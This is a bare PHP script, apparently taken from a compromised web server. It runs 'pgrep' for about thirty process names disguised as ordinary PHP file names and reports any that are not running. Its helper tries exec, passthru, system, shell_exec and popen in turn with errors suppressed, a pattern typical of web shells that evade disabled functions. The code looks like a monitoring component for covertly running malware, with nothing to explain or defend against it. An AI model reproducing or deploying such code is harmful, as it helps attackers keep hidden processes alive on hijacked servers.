<?php   $files = ['ele_upload','framework','verify_old','class.lock','extrafield','tbl_move_copy','import_settings','mod_rokslideshow','session.inc','admin_members','phpthumb.unsharp','referral_add_set','recette_topics','franchise','a_top_lingue','pivottable.inc','pagenavigation','widgethook','record_artists','webdb_addtable_1','commenting','abt_course_eco','rss_photos','db_import','jpgraph_spider','load_f2at','db_events.inc','newCourseProgram','changegroupperm','import.lib']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }